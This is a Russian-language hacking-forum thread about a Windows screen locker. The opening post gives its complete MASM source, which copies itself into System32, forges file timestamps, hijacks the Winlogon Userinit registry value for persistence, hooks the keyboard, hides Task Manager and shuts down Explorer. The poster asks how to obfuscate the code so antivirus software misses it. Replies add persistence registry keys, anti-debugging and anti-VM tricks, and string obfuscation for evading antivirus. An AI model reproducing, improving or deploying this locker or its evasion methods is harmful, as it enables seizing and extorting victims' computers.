Перейти к содержимому

 Друзья: Всё для вебмастера | [ Реклама на форуме ]


Rutor


Блокиратор Windows


  • Авторизуйтесь для ответа в теме
Сообщений в теме: 8

#1
Vurlakk

Vurlakk

    Байт

  • Members
  • Pip
  • 81 сообщений
Возникла идея - использовать Блокиратор Windows. Понятно с какой целью :mosk:
Поиски привели меня сюда _http://kaimi.ru/2009/05/блокиратор-windows/
Вобщем:
Есть исходник(на асме), но скомпилированный билд палится антивирусами.
В ассамблере я ноль, а криптор использовать не позволяет религия :good:
Вопрос/просьба: как изменить исходник, чтобы антивири молчали? То есть как к примеру добавить шифрование, обфусцировать код...?
Хотелось бы наглядно увидеть преобразования применительно именно к ЭТОМУ исходнику
; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

	  .486					 ; create 32 bit code
	  .model flat, stdcall	 ; 32 bit memory model
	  option casemap :none	 ; case sensitive

; «««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««««

	  include include\windows.inc
	  include include\user32.inc
	  include include\kernel32.inc
	  include include\Comctl32.inc
	  include include\shell32.inc
	  include include\DIALOGS.INC
	  include macros\macros.asm
	  include macros\ucmacros.asm
	  include include\advapi32.inc

	  includelib lib\masm32.lib
	  includelib lib\user32.lib
	  includelib lib\kernel32.lib
	  includelib lib\Comctl32.lib
	  includelib lib\shell32.lib
	  includelib lib\advapi32.lib

	  DialogProc	PROTO :DWORD,:DWORD,:DWORD,:DWORD
	  MyHook		PROTO :DWORD,:DWORD,:DWORD
	  EnumProc PROTO :DWORD, :DWORD

.data
taskman dd 0

WSTR regkey,"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"
WSTR keyname,"Userinit"
WSTR userinit,"\userinit.exe,"
WSTR userinit2,"\userinit.exe"
WSTR MyFile,"\usrinit.exe"

explorerKilled db 0

.data?
hWnd dd ?
hInstance dd ?

hIDKey dd ?

ftime1 FILETIME <>
ftime2 FILETIME <>
ftime3 FILETIME <>

hook dd ?

buf db 256 dup(?)
buf2 db 256 dup(?)
sys32 db 128 dup(?)

.code

start:

mov hInstance, FUNC(GetModuleHandle,NULL)
call main
invoke ExitProcess,eax

main PROC
	  invoke SHGetFolderPathW,NULL,CSIDL_SYSTEM,NULL,0,offset sys32

	  invoke lstrcpyW,offset buf2,offset sys32
	  invoke lstrcatW,eax,offset MyFile

	  invoke WideCharToMultiByte,CP_ACP,0,offset buf2,-1,offset buf,255,NULL,NULL

	  invoke GetCommandLine
	  mov edi,eax
	  inc edi
	  mov esi,edi
	  mov al,'"'
	  repne scasb
	  mov byte ptr [edi-1],0

	  push esi
	  invoke lstrcmp,esi,offset buf
	  pop esi
	  .if eax!=0
		invoke CopyFile,esi,offset buf,TRUE

		.if eax!=0
		  invoke lstrcpyW,offset buf,offset sys32
		  invoke lstrcatW,eax,offset userinit2
		  invoke CreateFileW,offset buf,GENERIC_READ,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
		  .if eax!=INVALID_HANDLE_VALUE
			push eax
			invoke GetFileTime,eax,offset ftime1,offset ftime2,offset ftime3
			pop eax
			invoke CloseHandle,eax

			invoke lstrcpyW,offset buf,offset sys32
			invoke lstrcatW,eax,offset MyFile
			invoke CreateFileW,offset buf,GENERIC_WRITE,FILE_SHARE_READ,0,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,0
			.if eax!=INVALID_HANDLE_VALUE
			  push eax
			  invoke SetFileTime,eax,offset ftime1,offset ftime2,offset ftime3
			  pop eax
			  invoke CloseHandle,eax
			.endif
		  .endif
		.endif

		invoke lstrcpyW,offset buf,offset sys32
		invoke lstrcatW,eax,offset userinit
		invoke lstrcatW,eax,offset sys32
		invoke lstrcatW,eax,offset MyFile

		call WriteReg
	  .endif


	  Dialog " ", \
			 "MS Sans Serif",12, \
			  0, \
			  3, \
			  50,50,230,90, \
			  1024

	  DlgStatic "Введи пароль (123):",0,100,102,100,13,101
	  DlgEdit WS_TABSTOP,205,100,100,13,202
	  DlgButton "Остановите это безобразие!",WS_TABSTOP,100,120,200,13,201

	  CallModalDialog hInstance,0,DialogProc,NULL

xor eax,eax
ret
main ENDP

DialogProc proc hWin:DWORD,uMsg:DWORD,wParam:DWORD,lParam:DWORD

	.if uMsg == WM_INITDIALOG
	  invoke ShowWindow,hWin,SW_SHOWMAXIMIZED
	  invoke GetWindowLong,hWin,GWL_STYLE
	  and eax,not WS_CAPTION
	  and eax,not WS_THICKFRAME
	  invoke SetWindowLong,hWin,GWL_STYLE,eax

	  invoke GetWindowLong,hWin,GWL_EXSTYLE
	  or eax,WS_EX_LAYERED
	  invoke SetWindowLong,hWin,GWL_EXSTYLE,eax
	  invoke SetLayeredWindowAttributes,hWin,0,225,LWA_ALPHA

	  invoke GetCurrentThreadId
	  mov hook,FUNC(SetWindowsHookEx,WH_KEYBOARD,offset MyHook,NULL,eax)

	  invoke RegisterHotKey,NULL,108,MOD_ALT,VK_TAB
	  invoke SetWindowPos,hWin,HWND_TOPMOST,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE

	  invoke SetTimer,hWin,101,40,NULL

	  m2m hWnd, hWin
	.elseif uMsg==WM_COMMAND
	  .if wParam==201
		invoke GetDlgItemText,hWnd,202,offset buf,100
		invoke lstrcmp,offset buf,chr$("123")
		test eax,eax
		je @F
		ret
	  @@:
		invoke UnhookWindowsHookEx,hook
		invoke UnregisterHotKey,NULL,108
		invoke KillTimer,hWnd,101
		.if taskman!=0
		  invoke ShowWindow,taskman,SW_SHOW
		.endif

		invoke lstrcpyW,offset buf,offset sys32
		invoke lstrcatW,eax,offset userinit

		call WriteReg

		invoke EndDialog,hWin,0
	  .endif
	.elseif uMsg==WM_TIMER

	invoke SetForegroundWindow, hWnd
	invoke SetWindowPos,hWnd,HWND_TOP,0,0,0,0,SWP_NOMOVE or SWP_NOSIZE

	call GetForegroundWindow
	cmp eax,hWnd
	je good
	  push eax
	  invoke GetClassName,eax,offset buf,30
	  invoke lstrcmp,offset buf,chr$("#32770")
	  pop ebx
	  test eax,eax
	  jne good
		mov taskman,ebx
		invoke ShowWindow,ebx,SW_HIDE
	good:

	.if explorerKilled==0
	  invoke EnumWindows,offset EnumProc,NULL
	.endif

	.endif

xor eax,eax
ret
DialogProc ENDP

MyHook PROC nCode:DWORD,wParam:DWORD,lParam:DWORD
  cmp nCode,0
  jge @F
	invoke CallNextHookEx,WH_KEYBOARD,nCode,wParam,lParam
	ret
  @@:


  .if (wParam>=31h && wParam<=3Ah) || wParam==8
	invoke CallNextHookEx,WH_KEYBOARD,nCode,wParam,lParam
	ret
  .endif

  mov eax,1
ret
MyHook ENDP

EnumProc PROC,hWndf :DWORD,lParam :DWORD
  invoke GetWindowText,hWndf,offset buf2,29
  invoke lstrcmp,offset buf2,chr$("Program Manager")

  test eax,eax
  jne @F
	mov explorerKilled,1
	invoke SendMessage,hWndf,WM_ENDSESSION,TRUE,ENDSESSION_CRITICAL
  @@:
ret
EnumProc ENDP

WriteReg PROC
		invoke RegCreateKeyExW,HKEY_LOCAL_MACHINE,offset regkey,NULL,NULL,REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS,NULL,offset hIDKey,NULL
		.IF eax==ERROR_SUCCESS
		  invoke lstrlenW,offset buf
		  add eax,eax
		  add eax,2
		  invoke RegSetValueExW,hIDKey,offset keyname,NULL,REG_SZ,offset buf,eax
		  invoke RegCloseKey,hIDKey
		.ENDIF
ret
WriteReg ENDP

end start


#2
BiOhAzARD

BiOhAzARD

    Бит

  • Members
  • 11 сообщений
А ты читал коменты на своей линке?! Как вариант батник... знаком с принципом криптора - добавь лишних строк(Мусор) или уже юзай компиляторы...

#3
Vurlakk

Vurlakk

    Байт

  • Members
  • Pip
  • 81 сообщений
Комменты конечно читал, но в асме я не шарю. То есть текст и пароль поменять я могу, но на этом "знания"(если их так можно назвать, точнее отсутствие таковых) ограничены :mosk:
P.S.:говорили мне друзья - учи ассамблер... :good:

#4
red_mould

red_mould

    Бит

  • Members
  • 23 сообщений
Ну дык если не нравится на асме перепиши на плюсах например или еще на каком-то языке... На котором знаешь. Тут во всю идет использование хуков, а это антивирям не сильно по душе... Т.к. при помощи техже хуков можно и тихонько убить антивири... При этом рядовой пользователь ничего не заподозрит... =) Это так сказать старый прикол... Что касается самого ассемблера, то тут написан код на масме (подкалывать о моей проницательности не надо) т.е. гораздо облегчает жизнь... Нет борландовских забубонов... =) Но это уже другая история. Итак продолжаем разговор. Во вторых тут прога искренне себя пытается втулить в %root%/System32 ну и прописать себя как службу или драйвер... Оно те надо? В реестре есть другие веточки которые автоматически просматриваются виндой ну и запускается приложения... А в конкретно использованную веточку лезть не надо... Покамесь не надо... Ну а в остальном те поможет великий и могучий MSDN =)))). Я не шучу. Ты лучше вот что скажи что ты подразумеваешь под словом "блокиратор" винды. Т.к. есть куча других фокусов подпорить людям жизнь... А главное святых для антивиря... =) Вот например сделать как службу. Ни один антивирь не докапается, ну и по нажатию определенной комбинации клавишь или по таймеру сделать так сказать красивый эффект =). Например все окна уезжают, в прямом смысле этого слова, за пределы экрана ну и там исчезают... Или сделать эффект сворачивания в трей, только трей будет пустым =)))). Ну и таких идей куча. Главное подойти с фантазией... Ну а если ты хочешь именно на асме и конкретно этот исходник, то я те могу посоветовать сперва почитать немного по асме для 32х битных систем потом немного разобраться с забубонами масма. Ну а потом уже с сырком будет куда проще разобраться... =))) Или же ответь на мой вопрос... =)))) Ну и подумаем вместе...
Лишь ум, потерянный бесповоротно мною,
Наполнить может сердце мне тоскою.
(с) Оззи Озборн

#5
maibe

maibe

    Бит

  • Members
  • 2 сообщений
ТС как я понимаю в masm'e/asm'e и тд не шарит как и я:-( (да мне стыдно...)
Могу посоветовать использовать для этих целей Visual Basic (старый и простейший) я к примеру юзаю 6.0 версию.

Для начала нужно разобраться с функциями нашей Программы-Шутки (и никак не Вируса!):

1) Каким образом будет "Усложняться" работа с системой

2) Каким образом будет реализована функция Автозагрузки

3) Как предотвратить попытку удаления нашей Шутки

4) Наконец, как очистить компьютер от нашего чуда (в свете объявленной охоты на данный класс ПО )

Для начала на HackHound.org лежит выложенный мной "Каркас" Программы такого класса там нет почти ничего... нон как каркас пойдет.

Итак приступим к разбору нашего ТЗ

1) "Усложнить работу" с системой можно кучей способов:

1.1 Хук (самый действенный метод! но и самый палевный)
1.2 Отключение функций системы (как пример вирус блокирующий досуп к нету, который создает подключение z-connect) Это тоже можно отнести к Нашим "Программам шуткам"
1.3 Тупо, как это реализовал я, ставим таймер на секунду и сворачиваем все окна! Никаких Хуков и хрен поработаешь....
1.4 и 1.n Придумай Сам в этом духе....

ТС должен выбрать более подходящий для себя способ как его реализовать дело второе - главное концепция!

2) Основой таких программ является еще и "Функция задалбывания" то есть Автозагрузка

Способы автозагрузки через реестр на примере ХР:

2.1 HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ Run (избитый пример и очень палевный!)

2.2 HKEY_CURRENT_USER \ Software \ Microsoft \ Windows \ CurrentVersion \ Run (тоже ибитый но менее палевный)

2.3 HKEY_LOCAL_MACHINE \ SOFTWARE \ Microsoft \ Windows \ CurrentVersion \ policies \ Explorer \ Run (групповая политика... сам юзал раньше)

2.4 [HKEY_CURRENT_USER \ Software \ Microsoft \ Windows NT \ CurrentVersion \ Windows]

Параметры:

"load"="programma"  программы запускаемые до входа пользователя в систему:
"run"="programma"  программы запускаемые после входа пользователя в систему. (один из самых интересных вариантов, но устарел)

2.5 ..\WINDOWS\Tasks (встречал я одного такого...если честно, мучился очень долго, потому что даже не представлял, что можно додуматься пихнуть зверя туда....)

2.6 И самое интересное есть в реестре такие разделы, которые отвечают за запуск шелла (по стандарту explorer) так вот можно прописать через запятую все нужные тебе программы и они запустятся вместе с рабочим столом...

2.7 Есть возможность запускать себя до старта системы (логон), но это сам поищешь на oszone

2.8 Запуск из папки Автозагрузка - просто и глупо.... но не используем реестр и антивирус соответственно молчит

2.9-2.n - Сам найдешь....

Реализацию автозагрузки в безопасном режиме ищи на том же oszone

Выбери понравившийся вариант и идем дальше....

3) Защита программы

3.1 Запрет доступа в : Реестр, диспетчер задач, cmd, груповые политики... Через Хук (мат от антивируса обеспечен 80% случаев)

3.2 То же самое, но проще...СВЕРНУТЬ ВСЕ ОКНА и пара хуков, но клавиатуры...(3 месяца назад антивирусы молчали, сейчас не знаю....)

3.3 Анти-модули (Anti-Debug, Anti-vbox и так далее) очень полезно при усложнении анализа нашей програмы

3.4 "Криптозащита" в кода программы (тапа strrevers или strtohex)

3.5 - 3.n Сам придумай....

4) Самоудаление - очень нужно и очень полезно!

Тут вариантов фактически всего 4:

4.1 При достижении таймером определенного времени работы (например надцать часов)

4.2 При достижении системой нужного времени (например когда часы покажу полночь:-)

4.3 При нажатии нужной комбинации кнопок (например Win+F+U+C+K)

4.4 и последний если введен код! Как бы не забыть про это:-)

Возможны конечно еще варианты, но это 4 основных...


Итак, если ТС все еще желает, могу продолжить статейку....

#6
red_mould

red_mould

    Бит

  • Members
  • 23 сообщений
Шо-то заглох автор самого запроса.. Видать или загрузился сильно или покамесь не придумал что именно он вообще хочет...
Лишь ум, потерянный бесповоротно мною,
Наполнить может сердце мне тоскою.
(с) Оззи Озборн

#7
*КРОТ#

*КРОТ#

    Мегабайт

  • Members
  • PipPipPip
  • 268 сообщений
да давно пропал.
может у тебя есть что-то интересное.

p.s.рад что заглянул.
вы ещё не взломаны,тогда мы идём к вам!
асека-403431953

я наблюдаю за тобой.

Изображение


#8
red_mould

red_mould

    Бит

  • Members
  • 23 сообщений
Может и есть... На крайняк можно написать. Да только время надо. А вот оно не всегда имеется в наличие...
Лишь ум, потерянный бесповоротно мною,
Наполнить может сердце мне тоскою.
(с) Оззи Озборн

#9
KaLaSh

KaLaSh

    Бит

  • Members
  • 11 сообщений
Пиши на С++ с помощью WinApi, по идее там с помощью EnableWindow(); можно все заблочить, только надо предусмотреть разные "нестыковки" такие как блокировка alt+ctrl+del и прочие.


Количество пользователей, читающих эту тему: 0

0 пользователей, 0 гостей, 0 анонимных